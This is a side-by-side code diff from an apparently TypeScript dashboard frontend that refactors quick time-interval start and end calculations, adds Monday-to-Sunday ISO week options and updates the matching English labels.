@@ -419,10 +423,10 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num @@ -419,10 +423,10 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
419 }; 423 };
420 aggTimewindow = timewindow.history.timewindowMs; 424 aggTimewindow = timewindow.history.timewindowMs;
421 } else if (historyType === HistoryWindowType.INTERVAL) { 425 } else if (historyType === HistoryWindowType.INTERVAL) {
422 - const currentDate = getCurrentTime(timewindow.timezone); 426 + const startEndTime = calculateIntervalStartEndTime(timewindow.history.quickInterval, timewindow.timezone);
423 subscriptionTimewindow.fixedWindow = { 427 subscriptionTimewindow.fixedWindow = {
424 - startTimeMs: calculateIntervalStartTime(timewindow.history.quickInterval, currentDate),  
425 - endTimeMs: calculateIntervalEndTime(timewindow.history.quickInterval, currentDate) 428 + startTimeMs: startEndTime[0],
  429 + endTimeMs: startEndTime[1]
426 }; 430 };
427 aggTimewindow = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs; 431 aggTimewindow = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs;
428 subscriptionTimewindow.quickInterval = timewindow.history.quickInterval; 432 subscriptionTimewindow.quickInterval = timewindow.history.quickInterval;
@@ -445,7 +449,8 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num @@ -445,7 +449,8 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
445 return subscriptionTimewindow; 449 return subscriptionTimewindow;
446 } 450 }
447 451
448 -function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, currentDate: moment_.Moment): number { 452 +function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, tz?: string): number {
  453 + let currentDate;
449 switch (interval) { 454 switch (interval) {
450 case QuickTimeInterval.CURRENT_HOUR: 455 case QuickTimeInterval.CURRENT_HOUR:
451 return HOUR; 456 return HOUR;
@@ -453,91 +458,100 @@ function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterv @@ -453,91 +458,100 @@ function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterv
453 case QuickTimeInterval.CURRENT_DAY_SO_FAR: 458 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
454 return DAY; 459 return DAY;
455 case QuickTimeInterval.CURRENT_WEEK: 460 case QuickTimeInterval.CURRENT_WEEK:
  461 + case QuickTimeInterval.CURRENT_WEEK_ISO:
456 case QuickTimeInterval.CURRENT_WEEK_SO_FAR: 462 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
  463 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
457 return WEEK; 464 return WEEK;
458 case QuickTimeInterval.CURRENT_MONTH: 465 case QuickTimeInterval.CURRENT_MONTH:
459 case QuickTimeInterval.CURRENT_MONTH_SO_FAR: 466 case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
  467 + currentDate = getCurrentTime(tz);
460 return currentDate.endOf('month').diff(currentDate.clone().startOf('month')); 468 return currentDate.endOf('month').diff(currentDate.clone().startOf('month'));
461 case QuickTimeInterval.CURRENT_YEAR: 469 case QuickTimeInterval.CURRENT_YEAR:
462 case QuickTimeInterval.CURRENT_YEAR_SO_FAR: 470 case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
  471 + currentDate = getCurrentTime(tz);
463 return currentDate.endOf('year').diff(currentDate.clone().startOf('year')); 472 return currentDate.endOf('year').diff(currentDate.clone().startOf('year'));
464 } 473 }
465 } 474 }
466 475
467 -export function calculateIntervalEndTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number {  
468 - currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz);  
469 - switch (interval) {  
470 - case QuickTimeInterval.YESTERDAY:  
471 - currentDate.subtract(1, 'days');  
472 - return currentDate.endOf('day').valueOf();  
473 - case QuickTimeInterval.DAY_BEFORE_YESTERDAY:  
474 - currentDate.subtract(2, 'days');  
475 - return currentDate.endOf('day').valueOf();  
476 - case QuickTimeInterval.THIS_DAY_LAST_WEEK:  
477 - currentDate.subtract(1, 'weeks');  
478 - return currentDate.endOf('day').valueOf();  
479 - case QuickTimeInterval.PREVIOUS_WEEK:  
480 - currentDate.subtract(1, 'weeks');  
481 - return currentDate.endOf('week').valueOf();  
482 - case QuickTimeInterval.PREVIOUS_MONTH:  
483 - currentDate.subtract(1, 'months');  
484 - return currentDate.endOf('month').valueOf();  
485 - case QuickTimeInterval.PREVIOUS_YEAR:  
486 - currentDate.subtract(1, 'years');  
487 - return currentDate.endOf('year').valueOf();  
488 - case QuickTimeInterval.CURRENT_HOUR:  
489 - return currentDate.endOf('hour').valueOf();  
490 - case QuickTimeInterval.CURRENT_DAY:  
491 - return currentDate.endOf('day').valueOf();  
492 - case QuickTimeInterval.CURRENT_WEEK:  
493 - return currentDate.endOf('week').valueOf();  
494 - case QuickTimeInterval.CURRENT_MONTH:  
495 - return currentDate.endOf('month').valueOf();  
496 - case QuickTimeInterval.CURRENT_YEAR:  
497 - return currentDate.endOf('year').valueOf();  
498 - case QuickTimeInterval.CURRENT_DAY_SO_FAR:  
499 - case QuickTimeInterval.CURRENT_WEEK_SO_FAR:  
500 - case QuickTimeInterval.CURRENT_MONTH_SO_FAR:  
501 - case QuickTimeInterval.CURRENT_YEAR_SO_FAR:  
502 - return currentDate.valueOf();  
503 - } 476 +export function calculateIntervalStartEndTime(interval: QuickTimeInterval, tz?: string): [number, number] {
  477 + const startEndTs: [number, number] = [0, 0];
  478 + const currentDate = getCurrentTime(tz);
  479 + const startDate = calculateIntervalStartTime(interval, currentDate);
  480 + startEndTs[0] = startDate.valueOf();
  481 + const endDate = calculateIntervalEndTime(interval, startDate, tz);
  482 + startEndTs[1] = endDate.valueOf();
  483 + return startEndTs;
504 } 484 }
505 485
506 -export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number {  
507 - currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz); 486 +export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment): moment_.Moment {
508 switch (interval) { 487 switch (interval) {
509 case QuickTimeInterval.YESTERDAY: 488 case QuickTimeInterval.YESTERDAY:
510 currentDate.subtract(1, 'days'); 489 currentDate.subtract(1, 'days');
511 - return currentDate.startOf('day').valueOf(); 490 + return currentDate.startOf('day');
512 case QuickTimeInterval.DAY_BEFORE_YESTERDAY: 491 case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
513 currentDate.subtract(2, 'days'); 492 currentDate.subtract(2, 'days');
514 - return currentDate.startOf('day').valueOf(); 493 + return currentDate.startOf('day');
515 case QuickTimeInterval.THIS_DAY_LAST_WEEK: 494 case QuickTimeInterval.THIS_DAY_LAST_WEEK:
516 currentDate.subtract(1, 'weeks'); 495 currentDate.subtract(1, 'weeks');
517 - return currentDate.startOf('day').valueOf(); 496 + return currentDate.startOf('day');
518 case QuickTimeInterval.PREVIOUS_WEEK: 497 case QuickTimeInterval.PREVIOUS_WEEK:
519 currentDate.subtract(1, 'weeks'); 498 currentDate.subtract(1, 'weeks');
520 - return currentDate.startOf('week').valueOf(); 499 + return currentDate.startOf('week');
  500 + case QuickTimeInterval.PREVIOUS_WEEK_ISO:
  501 + currentDate.subtract(1, 'weeks');
  502 + return currentDate.startOf('isoWeek');
521 case QuickTimeInterval.PREVIOUS_MONTH: 503 case QuickTimeInterval.PREVIOUS_MONTH:
522 currentDate.subtract(1, 'months'); 504 currentDate.subtract(1, 'months');
523 - return currentDate.startOf('month').valueOf(); 505 + return currentDate.startOf('month');
524 case QuickTimeInterval.PREVIOUS_YEAR: 506 case QuickTimeInterval.PREVIOUS_YEAR:
525 currentDate.subtract(1, 'years'); 507 currentDate.subtract(1, 'years');
526 - return currentDate.startOf('year').valueOf(); 508 + return currentDate.startOf('year');
527 case QuickTimeInterval.CURRENT_HOUR: 509 case QuickTimeInterval.CURRENT_HOUR:
528 - return currentDate.startOf('hour').valueOf(); 510 + return currentDate.startOf('hour');
529 case QuickTimeInterval.CURRENT_DAY: 511 case QuickTimeInterval.CURRENT_DAY:
530 case QuickTimeInterval.CURRENT_DAY_SO_FAR: 512 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
531 - return currentDate.startOf('day').valueOf(); 513 + return currentDate.startOf('day');
532 case QuickTimeInterval.CURRENT_WEEK: 514 case QuickTimeInterval.CURRENT_WEEK:
533 case QuickTimeInterval.CURRENT_WEEK_SO_FAR: 515 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
534 - return currentDate.startOf('week').valueOf(); 516 + return currentDate.startOf('week');
  517 + case QuickTimeInterval.CURRENT_WEEK_ISO:
  518 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
  519 + return currentDate.startOf('isoWeek');
535 case QuickTimeInterval.CURRENT_MONTH: 520 case QuickTimeInterval.CURRENT_MONTH:
536 case QuickTimeInterval.CURRENT_MONTH_SO_FAR: 521 case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
537 - return currentDate.startOf('month').valueOf(); 522 + return currentDate.startOf('month');
  523 + case QuickTimeInterval.CURRENT_YEAR:
  524 + case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
  525 + return currentDate.startOf('year');
  526 + }
  527 +}
  528 +
  529 +export function calculateIntervalEndTime(interval: QuickTimeInterval, startDate: moment_.Moment, tz?: string): number {
  530 + switch (interval) {
  531 + case QuickTimeInterval.YESTERDAY:
  532 + case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
  533 + case QuickTimeInterval.THIS_DAY_LAST_WEEK:
  534 + case QuickTimeInterval.CURRENT_DAY:
  535 + return startDate.add(1, 'day').valueOf();
  536 + case QuickTimeInterval.PREVIOUS_WEEK:
  537 + case QuickTimeInterval.PREVIOUS_WEEK_ISO:
  538 + case QuickTimeInterval.CURRENT_WEEK:
  539 + case QuickTimeInterval.CURRENT_WEEK_ISO:
  540 + return startDate.add(1, 'week').valueOf();
  541 + case QuickTimeInterval.PREVIOUS_MONTH:
  542 + case QuickTimeInterval.CURRENT_MONTH:
  543 + return startDate.add(1, 'month').valueOf();
  544 + case QuickTimeInterval.PREVIOUS_YEAR:
538 case QuickTimeInterval.CURRENT_YEAR: 545 case QuickTimeInterval.CURRENT_YEAR:
  546 + return startDate.add(1, 'year').valueOf();
  547 + case QuickTimeInterval.CURRENT_HOUR:
  548 + return startDate.add(1, 'hour').valueOf();
  549 + case QuickTimeInterval.CURRENT_DAY_SO_FAR:
  550 + case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
  551 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
  552 + case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
539 case QuickTimeInterval.CURRENT_YEAR_SO_FAR: 553 case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
540 - return currentDate.startOf('year').valueOf(); 554 + return getCurrentTime(tz).valueOf();
541 } 555 }
542 } 556 }
543 557
@@ -552,8 +566,11 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number { @@ -552,8 +566,11 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number {
552 case QuickTimeInterval.CURRENT_DAY_SO_FAR: 566 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
553 return DAY; 567 return DAY;
554 case QuickTimeInterval.PREVIOUS_WEEK: 568 case QuickTimeInterval.PREVIOUS_WEEK:
  569 + case QuickTimeInterval.PREVIOUS_WEEK_ISO:
555 case QuickTimeInterval.CURRENT_WEEK: 570 case QuickTimeInterval.CURRENT_WEEK:
  571 + case QuickTimeInterval.CURRENT_WEEK_ISO:
556 case QuickTimeInterval.CURRENT_WEEK_SO_FAR: 572 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
  573 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
557 return WEEK; 574 return WEEK;
558 case QuickTimeInterval.PREVIOUS_MONTH: 575 case QuickTimeInterval.PREVIOUS_MONTH:
559 case QuickTimeInterval.CURRENT_MONTH: 576 case QuickTimeInterval.CURRENT_MONTH:
@@ -567,72 +584,58 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number { @@ -567,72 +584,58 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number {
567 } 584 }
568 585
569 export function calculateIntervalComparisonStartTime(interval: QuickTimeInterval, 586 export function calculateIntervalComparisonStartTime(interval: QuickTimeInterval,
570 - currentDate: moment_.Moment): number { 587 + startDate: moment_.Moment): moment_.Moment {
571 switch (interval) { 588 switch (interval) {
572 case QuickTimeInterval.YESTERDAY: 589 case QuickTimeInterval.YESTERDAY:
573 case QuickTimeInterval.DAY_BEFORE_YESTERDAY: 590 case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
574 case QuickTimeInterval.CURRENT_DAY: 591 case QuickTimeInterval.CURRENT_DAY:
575 case QuickTimeInterval.CURRENT_DAY_SO_FAR: 592 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
576 - currentDate.subtract(1, 'days');  
577 - return currentDate.startOf('day').valueOf(); 593 + startDate.subtract(1, 'days');
  594 + return startDate.startOf('day');
578 case QuickTimeInterval.THIS_DAY_LAST_WEEK: 595 case QuickTimeInterval.THIS_DAY_LAST_WEEK:
579 - currentDate.subtract(1, 'weeks');  
580 - return currentDate.startOf('day').valueOf(); 596 + startDate.subtract(1, 'weeks');
  597 + return startDate.startOf('day');
581 case QuickTimeInterval.PREVIOUS_WEEK: 598 case QuickTimeInterval.PREVIOUS_WEEK:
582 case QuickTimeInterval.CURRENT_WEEK: 599 case QuickTimeInterval.CURRENT_WEEK:
583 case QuickTimeInterval.CURRENT_WEEK_SO_FAR: 600 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
584 - currentDate.subtract(1, 'weeks');  
585 - return currentDate.startOf('week').valueOf(); 601 + startDate.subtract(1, 'weeks');
  602 + return startDate.startOf('week');
  603 + case QuickTimeInterval.PREVIOUS_WEEK_ISO:
  604 + case QuickTimeInterval.CURRENT_WEEK_ISO:
  605 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
  606 + startDate.subtract(1, 'weeks');
  607 + return startDate.startOf('isoWeek');
586 case QuickTimeInterval.PREVIOUS_MONTH: 608 case QuickTimeInterval.PREVIOUS_MONTH:
587 case QuickTimeInterval.CURRENT_MONTH: 609 case QuickTimeInterval.CURRENT_MONTH:
588 case QuickTimeInterval.CURRENT_MONTH_SO_FAR: 610 case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
589 - currentDate.subtract(1, 'months');  
590 - return currentDate.startOf('month').valueOf(); 611 + startDate.subtract(1, 'months');
  612 + return startDate.startOf('month');
591 case QuickTimeInterval.PREVIOUS_YEAR: 613 case QuickTimeInterval.PREVIOUS_YEAR:
592 case QuickTimeInterval.CURRENT_YEAR: 614 case QuickTimeInterval.CURRENT_YEAR:
593 case QuickTimeInterval.CURRENT_YEAR_SO_FAR: 615 case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
594 - currentDate.subtract(1, 'years');  
595 - return currentDate.startOf('year').valueOf(); 616 + startDate.subtract(1, 'years');
  617 + return startDate.startOf('year');
596 case QuickTimeInterval.CURRENT_HOUR: 618 case QuickTimeInterval.CURRENT_HOUR:
597 - currentDate.subtract(1, 'hour');  
598 - return currentDate.startOf('hour').valueOf(); 619 + startDate.subtract(1, 'hour');
  620 + return startDate.startOf('hour');
599 } 621 }
600 } 622 }
601 623
602 export function calculateIntervalComparisonEndTime(interval: QuickTimeInterval, 624 export function calculateIntervalComparisonEndTime(interval: QuickTimeInterval,
603 - currentDate: moment_.Moment): number { 625 + comparisonStartDate: moment_.Moment,
  626 + endDate: moment_.Moment): number {
604 switch (interval) { 627 switch (interval) {
605 - case QuickTimeInterval.YESTERDAY:  
606 - case QuickTimeInterval.DAY_BEFORE_YESTERDAY:  
607 - case QuickTimeInterval.CURRENT_DAY:  
608 - currentDate.subtract(1, 'days');  
609 - return currentDate.endOf('day').valueOf();  
610 case QuickTimeInterval.CURRENT_DAY_SO_FAR: 628 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
611 - return currentDate.subtract(1, 'days').valueOf();  
612 - case QuickTimeInterval.THIS_DAY_LAST_WEEK:  
613 - currentDate.subtract(1, 'weeks');  
614 - return currentDate.endOf('day').valueOf();  
615 - case QuickTimeInterval.PREVIOUS_WEEK:  
616 - case QuickTimeInterval.CURRENT_WEEK:  
617 - currentDate.subtract(1, 'weeks');  
618 - return currentDate.endOf('week').valueOf(); 629 + return endDate.subtract(1, 'days').valueOf();
619 case QuickTimeInterval.CURRENT_WEEK_SO_FAR: 630 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
620 - return currentDate.subtract(1, 'week').valueOf();  
621 - case QuickTimeInterval.PREVIOUS_MONTH:  
622 - case QuickTimeInterval.CURRENT_MONTH:  
623 - currentDate.subtract(1, 'months');  
624 - return currentDate.endOf('month').valueOf(); 631 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
  632 + return endDate.subtract(1, 'week').valueOf();
625 case QuickTimeInterval.CURRENT_MONTH_SO_FAR: 633 case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
626 - return currentDate.subtract(1, 'month').valueOf();  
627 - case QuickTimeInterval.PREVIOUS_YEAR:  
628 - case QuickTimeInterval.CURRENT_YEAR:  
629 - currentDate.subtract(1, 'years');  
630 - return currentDate.endOf('year').valueOf(); 634 + return endDate.subtract(1, 'month').valueOf();
631 case QuickTimeInterval.CURRENT_YEAR_SO_FAR: 635 case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
632 - return currentDate.subtract(1, 'year').valueOf();  
633 - case QuickTimeInterval.CURRENT_HOUR:  
634 - currentDate.subtract(1, 'hour');  
635 - return currentDate.endOf('hour').valueOf(); 636 + return endDate.subtract(1, 'year').valueOf();
  637 + default:
  638 + return calculateIntervalEndTime(interval, comparisonStartDate);
636 } 639 }
637 } 640 }
638 641
@@ -656,8 +659,9 @@ export function createTimewindowForComparison(subscriptionTimewindow: Subscripti @@ -656,8 +659,9 @@ export function createTimewindowForComparison(subscriptionTimewindow: Subscripti
656 startDate.tz(subscriptionTimewindow.timezone); 659 startDate.tz(subscriptionTimewindow.timezone);
657 endDate.tz(subscriptionTimewindow.timezone); 660 endDate.tz(subscriptionTimewindow.timezone);
658 } 661 }
659 - startTimeMs = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate);  
660 - endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, endDate); 662 + const comparisonStartDate = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate);
  663 + startTimeMs = comparisonStartDate.valueOf();
  664 + endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, comparisonStartDate, endDate);
661 } else { 665 } else {
662 const timeInterval = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs; 666 const timeInterval = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs;
663 endTimeMs = subscriptionTimewindow.fixedWindow.startTimeMs; 667 endTimeMs = subscriptionTimewindow.fixedWindow.startTimeMs;
@@ -697,22 +701,6 @@ export function cloneSelectedTimewindow(timewindow: Timewindow): Timewindow { @@ -697,22 +701,6 @@ export function cloneSelectedTimewindow(timewindow: Timewindow): Timewindow {
697 return cloned; 701 return cloned;
698 } 702 }
699 703
700 -export function cloneSelectedHistoryTimewindow(historyWindow: HistoryWindow): HistoryWindow {  
701 - const cloned: HistoryWindow = {};  
702 - if (isDefined(historyWindow.historyType)) {  
703 - cloned.historyType = historyWindow.historyType;  
704 - cloned.interval = historyWindow.interval;  
705 - if (historyWindow.historyType === HistoryWindowType.LAST_INTERVAL) {  
706 - cloned.timewindowMs = historyWindow.timewindowMs;  
707 - } else if (historyWindow.historyType === HistoryWindowType.INTERVAL) {  
708 - cloned.quickInterval = historyWindow.quickInterval;  
709 - } else if (historyWindow.historyType === HistoryWindowType.FIXED) {  
710 - cloned.fixedTimewindow = deepClone(historyWindow.fixedTimewindow);  
711 - }  
712 - }  
713 - return cloned;  
714 -}  
715 -  
716 export interface TimeInterval { 704 export interface TimeInterval {
717 name: string; 705 name: string;
718 translateParams: {[key: string]: any}; 706 translateParams: {[key: string]: any};
@@ -894,6 +882,14 @@ export function getCurrentTime(tz?: string): moment_.Moment { @@ -894,6 +882,14 @@ export function getCurrentTime(tz?: string): moment_.Moment {
894 } 882 }
895 } 883 }
896 884
  885 +export function getTime(ts: number, tz?: string): moment_.Moment {
  886 + if (tz) {
  887 + return moment(ts).tz(tz);
  888 + } else {
  889 + return moment(ts);
  890 + }
  891 +}
  892 +
897 export function getTimezone(tz: string): moment_.Moment { 893 export function getTimezone(tz: string): moment_.Moment {
898 return moment.tz(tz); 894 return moment.tz(tz);
899 } 895 }
@@ -2232,14 +2232,17 @@ @@ -2232,14 +2232,17 @@
2232 "yesterday": "Yesterday", 2232 "yesterday": "Yesterday",
2233 "day-before-yesterday": "Day before yesterday", 2233 "day-before-yesterday": "Day before yesterday",
2234 "this-day-last-week": "This day last week", 2234 "this-day-last-week": "This day last week",
2235 - "previous-week": "Previous week", 2235 + "previous-week": "Previous week (Sun - Sat)",
  2236 + "previous-week-iso": "Previous week (Mon - Sun)",
2236 "previous-month": "Previous month", 2237 "previous-month": "Previous month",
2237 "previous-year": "Previous year", 2238 "previous-year": "Previous year",
2238 "current-hour": "Current hour", 2239 "current-hour": "Current hour",
2239 "current-day": "Current day", 2240 "current-day": "Current day",
2240 "current-day-so-far": "Current day so far", 2241 "current-day-so-far": "Current day so far",
2241 - "current-week": "Current week",  
2242 - "current-week-so-far": "Current week so far", 2242 + "current-week": "Current week (Sun - Sat)",
  2243 + "current-week-iso": "Current week (Mon - Sun)",
  2244 + "current-week-so-far": "Current week so far (Sun - Sat)",
  2245 + "current-week-iso-so-far": "Current week so far (Mon - Sun)",
2243 "current-month": "Current month", 2246 "current-month": "Current month",
2244 "current-month-so-far": "Current month so far", 2247 "current-month-so-far": "Current month so far",
2245 "current-year": "Current year", 2248 "current-year": "Current year",